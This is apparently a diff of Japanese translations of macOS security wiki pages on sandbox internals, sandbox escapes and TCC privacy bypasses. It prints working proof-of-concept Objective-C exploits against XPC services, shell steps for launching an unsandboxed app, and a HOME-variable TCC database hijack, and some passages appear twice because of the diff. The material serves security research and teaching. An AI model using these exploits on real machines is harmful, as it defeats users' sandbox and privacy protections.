**`Sandbox.kext`**は、MACFを介して100以上のフックを使用します。ほとんどのフックは、アクションを実行することを許可する単純なケースをチェックするだけであり、そうでない場合は、**`cred_sb_evalutate`**を呼び出し、**資格情報**と**操作**に対応する番号、および出力用の**バッファ**を渡します。
その良い例は、フックされた**`_mpo_file_check_mmap`**関数で、**`mmap`**をフックし、新しいメモリが書き込み可能かどうかをチェックし（そうでない場合は実行を許可）、次にそれがdyld共有キャッシュに使用されているかどうかをチェックし、そうであれば実行を許可し、最後に**`sb_evaluate_internal`**（またはそのラッパーの1つ）を呼び出してさらなる許可チェックを実行します。
その良い例は、**`_mpo_file_check_mmap`**関数で、これは**`mmap`**をフックし、新しいメモリが書き込み可能かどうかをチェックし（そうでない場合は実行を許可）、次にそれがdyld共有キャッシュに使用されているかどうかをチェックし、そうであれば実行を許可し、最後に**`sb_evaluate_internal`**（またはそのラッパーの1つ）を呼び出してさらなる許可チェックを実行します。
さらに、サンドボックスが使用する数百のフックの中で、特に興味深い3つがあります：
- `mpo_proc_check_for`: 必要に応じてプロファイルを適用し、以前に適用されていない場合。
- `mpo_vnode_check_exec`: プロセスが関連するバイナリをロードするときに呼び出され、プロファイルチェックとSUID/SGID実行を禁止するチェックが行われます。
- `mpo_cred_label_update_execve`: ラベルが割り当てられるときに呼び出されます。これは、バイナリが完全にロードされるがまだ実行されていないときに呼び出されるため、最も長いものです。サンドボックスオブジェクトの作成、kauth資格情報へのサンドボックス構造の添付、machポートへのアクセスの削除などのアクションを実行します。
- `mpo_cred_label_update_execve`: ラベルが割り当てられるときに呼び出されます。これは最も長いもので、バイナリが完全にロードされるときに呼び出されますが、まだ実行されていません。サンドボックスオブジェクトの作成、kauth資格情報へのサンドボックス構造の添付、machポートへのアクセスの削除などのアクションを実行します。
**`_cred_sb_evalutate`**は**`sb_evaluate_internal`**のラッパーであり、この関数は渡された資格情報を取得し、通常はすべてのプロセスにデフォルトで適用される**プラットフォームプロファイル**と**特定のプロセスプロファイル**を使用して評価を実行します。プラットフォームプロファイルは、macOSの**SIP**の主要なコンポーネントの1つです。
**`_cred_sb_evalutate`**は**`sb_evaluate_internal`**のラッパーであり、この関数は渡された資格情報を取得し、次に**`eval`**関数を使用して評価を実行します。この関数は通常、すべてのプロセスにデフォルトで適用される**プラットフォームプロファイル**を評価し、その後**特定のプロセスプロファイル**を評価します。プラットフォームプロファイルは、macOSの**SIP**の主要なコンポーネントの1つです。
## Sandboxd

215
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md
View File

@ -4,31 +4,31 @@
## Sandbox loading process
<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>Image from <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
<figure><img src="../../../../../images/image (901).png" alt=""><figcaption><p>画像は <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a> からのものです。</p></figcaption></figure>
前の画像では、**アプリケーションが権限** **`com.apple.security.app-sandbox`** を持っているときに、**サンドボックスがどのようにロードされるか**を観察できます。
前の画像では、**アプリケーションが権限 **`com.apple.security.app-sandbox`** を持っているときに、サンドボックスが**どのように読み込まれるかを観察できます。
コンパイラは `/usr/lib/libSystem.B.dylib` をバイナリにリンクします。
次に、**`libSystem.B`** は他のいくつかの関数を呼び出し、**`xpc_pipe_routine`** がアプリの権限を **`securityd`** に送信します。Securitydはプロセスがサンドボックス内で隔離されるべきかどうかを確認し、そうであれば隔離します。\
次に、**`libSystem.B`** は他のいくつかの関数を呼び出し、**`xpc_pipe_routine`** がアプリの権限を **`securityd`** に送信します。Securitydはプロセスがサンドボックス内で隔離されるべきかどうかを確認し、そうであれば隔離されます。\
最後に、サンドボックスは **`__sandbox_ms`** への呼び出しでアクティブ化され、これが **`__mac_syscall`** を呼び出します。
## Possible Bypasses
### Bypassing quarantine attribute
**サンドボックス化されたプロセスによって作成されたファイル**には、サンドボックスからの脱出を防ぐために**隔離属性**が追加されます。しかし、もしあなたが**隔離属性なしで `.app` フォルダを作成することができれば**、アプリバンドルのバイナリを **`/bin/bash`** にポイントさせ、**plist** にいくつかの環境変数を追加して **`open`** を悪用し、**新しいアプリをサンドボックスなしで起動**することができます。
**サンドボックス化されたプロセスによって作成されたファイル** には、サンドボックスからの脱出を防ぐために **隔離属性** が追加されます。しかし、もしあなたが **隔離属性なしで `.app` フォルダを作成することができれば**、アプリバンドルのバイナリを **`/bin/bash`** にポイントさせ、**plist** にいくつかの環境変数を追加して **`open`** を悪用し、**新しいアプリをサンドボックスなしで起動する** ことができます。
これは [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** で行われました。**
これは [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** で行われたことです。**
> [!CAUTION]
> したがって、現時点では、**隔離属性なしで `.app` で終わる名前のフォルダを作成することができる**場合、サンドボックスから脱出できます。なぜなら、macOSは**`.app` フォルダ**と**メイン実行可能ファイル**の**隔離**属性のみを**チェック**するからです（そして、私たちはメイン実行可能ファイルを **`/bin/bash`** にポイントさせます）。
> したがって、現時点では、**隔離属性なしで `.app` で終わる名前のフォルダを作成することができる** なら、サンドボックスから脱出できます。なぜなら、macOSは **`.app` フォルダ** と **メイン実行可能ファイル** の **隔離** 属性のみを **チェック** するからです（そして、私たちはメイン実行可能ファイルを **`/bin/bash`** にポイントさせます）。
>
> すでに実行を許可された .app バンドルがある場合（実行を許可されたフラグが付いた隔離 xttr がある場合）、それを悪用することもできます... ただし、今はサンドボックス内では特権 TCC 権限がない限り、**.app** バンドル内に書き込むことはできません。
> すでに実行を許可された .app バンドル（実行を許可されたフラグが付いた隔離 xttrを持つ）も悪用できる可能性があります... ただし、今は **`.app`** バンドル内に書き込むことはできません。なぜなら、サンドボックス内では特権のある TCC 権限を持っていないからです（サンドボックス内では持っていません）。
### Abusing Open functionality
[**Word サンドボックスバイパスの最後の例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv)では、**`open`** CLI 機能がサンドボックスをバイパスするために悪用される様子が確認できます。
[**Wordサンドボックスバイパスの最後の例**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) では、**`open`** CLI 機能がサンドボックスをバイパスするために悪用される様子が確認できます。
{{#ref}}
macos-office-sandbox-bypasses.md
@ -36,16 +36,16 @@ macos-office-sandbox-bypasses.md
### Launch Agents/Daemons
アプリケーションが**サンドボックス化されることを意図している** (`com.apple.security.app-sandbox`)場合でも、例えば**LaunchAgent** (`~/Library/LaunchAgents`) から実行されるとサンドボックスをバイパスすることが可能です。\
[**この投稿**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818)で説明されているように、サンドボックス化されたアプリケーションで永続性を得たい場合、LaunchAgent として自動的に実行されるようにし、DyLib 環境変数を介して悪意のあるコードを注入することができます。
アプリケーションが **サンドボックス化されることを意図している** (`com.apple.security.app-sandbox`) 場合でも、例えば **LaunchAgent** (`~/Library/LaunchAgents`) から実行されるとサンドボックスをバイパスすることが可能です。\
[**この投稿**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) で説明されているように、サンドボックス化されたアプリケーションで永続性を得たい場合、LaunchAgent として自動的に実行されるようにし、DyLib 環境変数を介して悪意のあるコードを注入することができます。
### Abusing Auto Start Locations
サンドボックス化されたプロセスが**後でサンドボックスなしで実行されるアプリケーションがバイナリを実行する場所に**書き込むことができれば、**そこにバイナリを置くだけで脱出**できます。この種の場所の良い例は `~/Library/LaunchAgents` や `/System/Library/LaunchDaemons` です。
サンドボックス化されたプロセスが **後でサンドボックスなしのアプリケーションがバイナリを実行する場所に** 書き込むことができれば、**そこにバイナリを置くだけで** 脱出できます。この種の場所の良い例は `~/Library/LaunchAgents` や `/System/Library/LaunchDaemons` です。
これには**2ステップ**が必要な場合があります：**より許可されたサンドボックス** (`file-read*`, `file-write*`) を持つプロセスを実行して、実際に**サンドボックスなしで実行される場所に書き込む**コードを実行します。
これには **2ステップ** が必要になる場合があります：**より許可されたサンドボックス** (`file-read*`, `file-write*`) を持つプロセスを実行して、実際に **サンドボックスなしで実行される場所に書き込む** コードを実行します。
**Auto Start locations**についてはこのページを確認してください：
**自動起動場所** に関するこのページを確認してください：
{{#ref}}
../../../../macos-auto-start-locations.md
@ -53,27 +53,188 @@ macos-office-sandbox-bypasses.md
### Abusing other processes
サンドボックスプロセスから、**制限の少ない（または全くない）他のプロセスを妥協することができれば**、それらのサンドボックスに脱出することができます：
サンドボックスプロセスから **他のプロセスを妥協する** ことができれば、より制限の少ないサンドボックス（または全くない）に脱出することができます：
{{#ref}}
../../../macos-proces-abuse/
{{#endref}}
### Static Compiling & Dynamically linking
### Available System and User Mach services
[**この研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)では、サンドボックスをバイパスする2つの方法が発見されました。サンドボックスはユーザーランドから適用されるため、**libSystem** ライブラリがロードされるときに、バイナリがそれを回避できれば、サンドボックス化されることはありません：
サンドボックスは、プロファイル `application.sb` で定義された特定の **Machサービス** と通信することも許可します。これらのサービスの1つを **悪用** できれば、**サンドボックスから脱出** できるかもしれません。
- バイナリが**完全に静的にコンパイルされている**場合、そのライブラリをロードすることを回避できます。
- **バイナリがライブラリをロードする必要がない**場合（リンカーも libSystem にあるため）、libSystem をロードする必要はありません。
[この書き込み](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) に示されているように、Machサービスに関する情報は `/System/Library/xpc/launchd.plist` に保存されています。`<string>System</string>` と `<string>User</string>` をそのファイル内で検索することで、すべてのシステムおよびユーザMachサービスを見つけることができます。
### Shellcodes
さらに、`bootstrap_look_up` を呼び出すことで、サンドボックス化されたアプリケーションに利用可能なMachサービスがあるかどうかを確認することができます。
```objectivec
void checkService(const char *serviceName) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, serviceName, &service_port);
if (!err) {
NSLog(@"available service:%s", serviceName);
mach_port_deallocate(mach_task_self_, service_port);
}
}
**シェルコード**でさえ、ARM64 では `libSystem.dylib` にリンクする必要があることに注意してください：
void print_available_xpc(void) {
NSDictionary<NSString*, id>* dict = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/xpc/launchd.plist"];
NSDictionary<NSString*, id>* launchDaemons = dict[@"LaunchDaemons"];
for (NSString* key in launchDaemons) {
NSDictionary<NSString*, id>* job = launchDaemons[key];
NSDictionary<NSString*, id>* machServices = job[@"MachServices"];
for (NSString* serviceName in machServices) {
checkService(serviceName.UTF8String);
}
}
}
```
### 利用可能なPID Machサービス
これらのMachサービスは、最初にこの[サンドボックスからの脱出に利用されました](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)。その時点で、**アプリケーションとそのフレームワークによって必要とされるすべてのXPCサービス**がアプリのPIDドメイン内で表示されていました（これらは`ServiceType`が`Application`のMachサービスです）。
**PIDドメインXPCサービスに連絡するためには**、アプリ内で次のような行を使って登録するだけで済みます：
```objectivec
[[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load];
```
さらに、`System/Library/xpc/launchd.plist` 内で `<string>Application</string>` を検索することで、すべての **Application** Mach サービスを見つけることができます。
有効な xpc サービスを見つける別の方法は、次の場所を確認することです：
```bash
find /System/Library/Frameworks -name "*.xpc"
find /System/Library/PrivateFrameworks -name "*.xpc"
```
この技術を悪用したいくつかの例は[**元のレポート**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)に見つけることができますが、以下は要約された例です。
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
このサービスは、常に`YES`を返すことですべてのXPC接続を許可し、メソッド`runTask:arguments:withReply:`は任意のコマンドを任意のパラメータで実行します。
このエクスプロイトは「非常に簡単でした」:
```objectivec
@protocol SKRemoteTaskRunnerProtocol
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
@end
void exploit_storagekitfsrunner(void) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/StorageKit.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.storagekitfsrunner"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(SKRemoteTaskRunnerProtocol)];
[conn setInterruptionHandler:^{NSLog(@"connection interrupted!");}];
[conn setInvalidationHandler:^{NSLog(@"connection invalidated!");}];
[conn resume];
[[conn remoteObjectProxy] runTask:[NSURL fileURLWithPath:@"/usr/bin/touch"] arguments:@[@"/tmp/sbx"] withReply:^(NSNumber *bSucc, NSError *error) {
NSLog(@"run task result:%@, error:%@", bSucc, error);
}];
}
```
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
このXPCサービスは、常にYESを返すことで、すべてのクライアントを許可し、メソッド`createZipAtPath:hourThreshold:withReply:`は、圧縮するフォルダのパスを指定することを基本的に許可しました。そして、それはZIPファイルに圧縮されます。
したがって、偽のアプリフォルダ構造を生成し、それを圧縮し、次に解凍して実行することで、サンドボックスを脱出することが可能です。新しいファイルには隔離属性がないためです。
エクスプロイトは：
```objectivec
@protocol AudioAnalyticsHelperServiceProtocol
-(void)pruneZips:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
-(void)createZipAtPath:(NSString *)path hourThreshold:(int)threshold withReply:(void (^)(id *))reply;
@end
void exploit_AudioAnalyticsHelperService(void) {
NSString *currentPath = NSTemporaryDirectory();
chdir([currentPath UTF8String]);
NSLog(@"======== preparing payload at the current path:%@", currentPath);
system("mkdir -p compressed/poc.app/Contents/MacOS; touch 1.json");
[@"#!/bin/bash\ntouch /tmp/sbx\n" writeToFile:@"compressed/poc.app/Contents/MacOS/poc" atomically:YES encoding:NSUTF8StringEncoding error:0];
system("chmod +x compressed/poc.app/Contents/MacOS/poc");
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework"] load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.internal.audioanalytics.helper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(AudioAnalyticsHelperServiceProtocol)];
[conn resume];
[[conn remoteObjectProxy] createZipAtPath:currentPath hourThreshold:0 withReply:^(id *error){
NSDirectoryEnumerator *dirEnum = [[[NSFileManager alloc] init] enumeratorAtPath:currentPath];
NSString *file;
while ((file = [dirEnum nextObject])) {
if ([[file pathExtension] isEqualToString: @"zip"]) {
// open the zip
NSString *cmd = [@"open " stringByAppendingString:file];
system([cmd UTF8String]);
sleep(3); // wait for decompression and then open the payload (poc.app)
NSString *cmd2 = [NSString stringWithFormat:@"open /Users/%@/Downloads/%@/poc.app", NSUserName(), [file stringByDeletingPathExtension]];
system([cmd2 UTF8String]);
break;
}
}
}];
}
```
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
このXPCサービスは、`extendAccessToURL:completion:`メソッドを介して、任意のURLに対する読み取りおよび書き込みアクセスをXPCクライアントに提供することを可能にします。このXPCサービスにはFDAがあるため、これらの権限を悪用してTCCを完全にバイパスすることが可能です。
エクスプロイトは：
```objectivec
@protocol WFFileAccessHelperProtocol
- (void) extendAccessToURL:(NSURL *) url completion:(void (^) (FPSandboxingURLWrapper *, NSError *))arg2;
@end
typedef int (*PFN)(const char *);
void expoit_ShortcutsFileAccessHelper(NSString *target) {
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/WorkflowKit.framework"]load];
NSXPCConnection * conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.WorkflowKit.ShortcutsFileAccessHelper"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(WFFileAccessHelperProtocol)];
[conn.remoteObjectInterface setClasses:[NSSet setWithArray:@[[NSError class], objc_getClass("FPSandboxingURLWrapper")]] forSelector:@selector(extendAccessToURL:completion:) argumentIndex:0 ofReply:1];
[conn resume];
[[conn remoteObjectProxy] extendAccessToURL:[NSURL fileURLWithPath:target] completion:^(FPSandboxingURLWrapper *fpWrapper, NSError *error) {
NSString *sbxToken = [[NSString alloc] initWithData:[fpWrapper scope] encoding:NSUTF8StringEncoding];
NSURL *targetURL = [fpWrapper url];
void *h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", 2);
PFN sandbox_extension_consume = (PFN)dlsym(h, "sandbox_extension_consume");
if (sandbox_extension_consume([sbxToken UTF8String]) == -1)
NSLog(@"Fail to consume the sandbox token:%@", sbxToken);
else {
NSLog(@"Got the file R&W permission with sandbox token:%@", sbxToken);
NSLog(@"Read the target content:%@", [NSData dataWithContentsOfURL:targetURL]);
}
}];
}
```
### 静的コンパイルと動的リンク
[**この研究**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)では、Sandboxをバイパスする2つの方法が発見されました。Sandboxは、**libSystem**ライブラリがロードされるときにユーザーランドから適用されます。バイナリがそれをロードしないことができれば、Sandboxに入ることはありません：
- バイナリが**完全に静的にコンパイルされている**場合、そのライブラリをロードすることを避けることができます。
- **バイナリがライブラリをロードする必要がない**場合（リンカーもlibSystemにあるため）、libSystemをロードする必要はありません。
### シェルコード
**シェルコード**でさえ、ARM64では`libSystem.dylib`にリンクする必要があることに注意してください：
```bash
ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
```
### Entitlements
### 継承されない制限
**[この書き込みのボーナス](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)** で説明されているように、サンドボックスの制限は次のようになります:
```
(version 1)
(allow default)
(deny file-write* (literal "/private/tmp/sbx"))
```
新しいプロセスが例えば実行することでバイパスできます:
```bash
mkdir -p /tmp/poc.app/Contents/MacOS
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
chmod +x /tmp/poc.app/Contents/MacOS/poc
open /tmp/poc.app
```
しかし、もちろん、この新しいプロセスは親プロセスから権限や特権を継承しません。
### 権限
特定の**権限**を持つアプリケーションの場合、いくつかの**アクション**が**サンドボックスによって許可される**可能性があることに注意してください。
```scheme
@ -117,7 +278,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!
```
#### インターポスト `__mac_syscall` でサンドボックスを防ぐ
#### Interpost `__mac_syscall` でサンドボックスを防ぐ
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
@ -200,7 +361,7 @@ system("cat ~/Desktop/del.txt");
{{#endtab}}
{{#endtabs}}
次にアプリをコンパイルします：
次にアプリをコンパイルします:
```bash
# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
@ -211,14 +372,14 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli
codesign -s <cert-name> --entitlements entitlements.xml sand
```
> [!CAUTION]
> アプリは **`~/Desktop/del.txt`** ファイルを**読み取ろうとしますが**、**Sandboxはそれを許可しません**。\
> Sandboxがバイパスされると読み取れるように、そこにファイルを作成してください：
> アプリは **`~/Desktop/del.txt`** ファイルを **読み取ろう** としますが、**Sandboxはそれを許可しません**。\
> Sandboxがバイパスされると読み取れるように、そこにファイルを作成してください:
>
> ```bash
> echo "Sandbox Bypassed" > ~/Desktop/del.txt
> ```
アプリケーションをデバッグして、Sandboxがいつ読み込まれるかを見てみましょう：
アプリケーションをデバッグして、Sandboxがいつ読み込まれるかを見てみましょう:
```bash
# Load app in debugging
lldb ./sand
@ -297,7 +458,7 @@ Process 2517 exited with status = 0 (0x00000000)
```
> [!WARNING] > **サンドボックスをバイパスしても、TCC** はユーザーにデスクトップからファイルを読み取るプロセスを許可するかどうか尋ねます
## References
## 参考文献
- [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf)
- [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/)

104
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md
View File

@ -20,14 +20,14 @@ asd
### TCC ClickJacking
**TCCプロンプトの上にウィンドウを置く** ことで、ユーザーが気づかずに **承認** させることが可能です。PoCは [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** で見つけることができます。**
**TCCプロンプトの上にウィンドウを置く** ことで、ユーザーが気づかずに **受け入れる** ことが可能です。PoCは [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)** で見つけることができます。**
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### 任意の名前によるTCCリクエスト
攻撃者は **任意の名前** (例: Finder, Google Chrome...) のアプリを **`Info.plist`** に作成し、TCCで保護された場所へのアクセスをリクエストさせることができます。ユーザーは、正当なアプリケーションがこのアクセスをリクエストしていると思うでしょう。\
さらに、**正当なアプリをDockから削除し、偽のアプリを置く** ことが可能です。ユーザーが偽のアプリ（同じアイコンを使用できる）をクリックすると、正当なアプリを呼び出し、TCCの権限を要求し、マルウェアを実行させ、正当なアプリがアクセスを要求したと信じ込ませることができます。
攻撃者は **任意の名前** (例: Finder, Google Chrome...) のアプリを **`Info.plist`** に作成し、TCCで保護された場所へのアクセスを要求させることができます。ユーザーは、正当なアプリケーションがこのアクセスを要求していると思うでしょう。\
さらに、**正当なアプリをDockから削除し、偽のアプリをその上に置く** ことが可能です。ユーザーが偽のアプリ（同じアイコンを使用できる）をクリックすると、正当なアプリを呼び出し、TCCの権限を要求し、マルウェアを実行させ、正当なアプリがアクセスを要求したと信じ込ませることができます。
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
@ -39,7 +39,7 @@ asd
### SSHバイパス
デフォルトでは、**SSH経由のアクセスは「フルディスクアクセス」を持っていました**。これを無効にするには、リストに表示されているが無効にする必要があります（リストから削除してもその権限は削除されません）：
デフォルトでは、**SSH経由のアクセスは「フルディスクアクセス」を持っていました**。これを無効にするには、リストに載せておく必要がありますが、無効にすること（リストから削除すること）はその権限を取り除くことにはなりません：
![](<../../../../../images/image (1077).png>)
@ -62,7 +62,7 @@ asd
**iMovie** と **Garageband** はこの権限を持っており、他のアプリも許可されていました。
この権限から **iCloudトークンを取得する** ためのエクスプロイトに関する詳細情報は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
この権限から **iCloudトークンを取得するためのエクスプロイト** に関する詳細情報は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### kTCCServiceAppleEvents / 自動化
@ -80,7 +80,7 @@ macos-apple-scripts.md
#### iTerm上で
FDAを持たないTerminalは、FDAを持つiTermを呼び出し、それを使用してアクションを実行できます：
フルディスクアクセスを持たないTerminalは、フルディスクアクセスを持つiTermを呼び出し、それを使用してアクションを実行できます：
```applescript:iterm.script
tell application "iTerm"
activate
@ -96,7 +96,7 @@ end tell
```bash
osascript iterm.script
```
#### Over Finder
#### Finderを介して
または、アプリがFinderにアクセスできる場合、次のようなスクリプトを使用できます:
```applescript
@ -112,10 +112,10 @@ do shell script "rm " & POSIX path of (copyFile as alias)
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
ユーザーランドの **tccd デーモン** は、**`HOME`** **env** 変数を使用して、TCC ユーザーデータベースにアクセスしています: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
ユーザーランドの **tccd デーモン** は **`HOME`** **env** 変数を使用して、TCC ユーザーデータベースにアクセスしています: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
[この Stack Exchange の投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) によると、TCC デーモンは現在のユーザーのドメイン内で `launchd` を介して実行されているため、**渡されるすべての環境変数を制御することが可能**です。\
したがって、**攻撃者は `$HOME` 環境** 変数を **`launchctl`** で **制御された** **ディレクトリ** を指すように設定し、**TCC** デーモンを **再起動** し、その後 **TCC データベースを直接変更**して、エンドユーザーにプロンプトを表示することなく **すべての TCC 権限を取得**することができます。\
[この Stack Exchange の投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) によると、TCC デーモンは現在のユーザーのドメイン内で `launchd` を介して実行されているため、渡される **すべての環境変数** を **制御することが可能** です。\
したがって、**攻撃者は `$HOME` 環境** 変数を **`launchctl`** で **制御された** **ディレクトリ** を指すように設定し、**TCC** デーモンを **再起動** し、その後 **TCC データベースを直接変更** して、エンドユーザーにプロンプトを表示することなく **すべての TCC 権限を取得** することができます。\
PoC:
```bash
# reset database just in case (no cheating!)
@ -157,7 +157,7 @@ $> ls ~/Documents
### CVE-2023-38571 - Music & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`**には興味深い機能があります：実行中に、**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**にドロップされたファイルをユーザーの「メディアライブラリ」に**インポート**します。さらに、次のような呼び出しを行います：**`rename(a, b);`** ここで`a`と`b`は：
**`Music`**には興味深い機能があります：実行中に、**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**にドロップされたファイルをユーザーの「メディアライブラリ」に**インポート**します。さらに、次のような呼び出しを行います：**`rename(a, b);`** ここで、`a`と`b`は：
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"`
@ -166,7 +166,7 @@ $> ls ~/Documents
### SQLITE_SQLLOG_DIR - CVE-2023-32422
**`SQLITE_SQLLOG_DIR="path/folder"`**は基本的に**開いているdbがそのパスにコピーされる**ことを意味します。このCVEでは、この制御が悪用され、**SQLiteデータベース**内に**書き込まれ**、そのデータベースが**FDAのTCCデータベースを持つプロセスによって開かれる**ことになり、**`SQLITE_SQLLOG_DIR`**を**ファイル名にシンボリックリンク**を使用して悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き**されます。\
**`SQLITE_SQLLOG_DIR="path/folder"`**は基本的に**開いている任意のデータベースがそのパスにコピーされる**ことを意味します。このCVEでは、この制御が悪用され、**SQLiteデータベース**内に**書き込まれ**、そのデータベースがFDAのTCCデータベースによって**開かれるプロセス**によって**開かれる**ことがあり、**`SQLITE_SQLLOG_DIR`**を**ファイル名のシンボリックリンク**で悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き**されます。\
**詳細情報** [**書き込みに関して**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **および** [**トークに関して**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。
### **SQLITE_AUTO_TRACE**
@ -184,32 +184,32 @@ launchctl setenv SQLITE_AUTO_TRACE 1
次のように設定します: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。`path`が有効なディレクトリであれば、バグがトリガーされ、`fs_usage`を使用してプログラム内で何が起こっているかを確認できます：
- `path/.dat.nosyncXXXX.XXXXXX`（Xはランダム）という名前のファイルが`open()`されます。
- 1つ以上の`write()`がファイルに内容を書き込みます（これを制御することはできません）。
- `path/.dat.nosyncXXXX.XXXXXX`が`path/name`に`renamed()`されます。
- `open()`されるファイルは`path/.dat.nosyncXXXX.XXXXXX`（Xはランダム）と呼ばれます
- 1つ以上の`write()`がファイルに内容を書き込みます（これを制御することはできません）
- `path/.dat.nosyncXXXX.XXXXXX`は`path/name`に`renamed()`されます
これは一時ファイルの書き込みであり、その後に**`rename(old, new)`**が行われますが、**これは安全ではありません。**
これは一時ファイルの書き込みであり、その後に**`rename(old, new)`**が**安全ではありません。**
安全でない理由は、**古いパスと新しいパスを別々に解決する必要があるため**、これには時間がかかる可能性があり、レースコンディションに対して脆弱です。詳細については、`xnu`関数`renameat_internal()`を確認できます。
安全ではない理由は、**古いパスと新しいパスを別々に解決する必要があるため**、これには時間がかかる可能性があり、レースコンディションに対して脆弱です。詳細については、`xnu`関数`renameat_internal()`を確認できます。
> [!CAUTION]
> 基本的に、特権プロセスがあなたが制御するフォルダから名前を変更している場合、RCEを獲得し、異なるファイルにアクセスさせることができるか、またはこのCVEのように、特権アプリが作成したファイルを開いてFDを保存することができます。
> 基本的に、特権プロセスがあなたが制御するフォルダから名前を変更している場合、RCEを獲得し、特権アプリが作成したファイルにアクセスさせたり、このCVEのようにファイルディスクリプタを保存することができます。
>
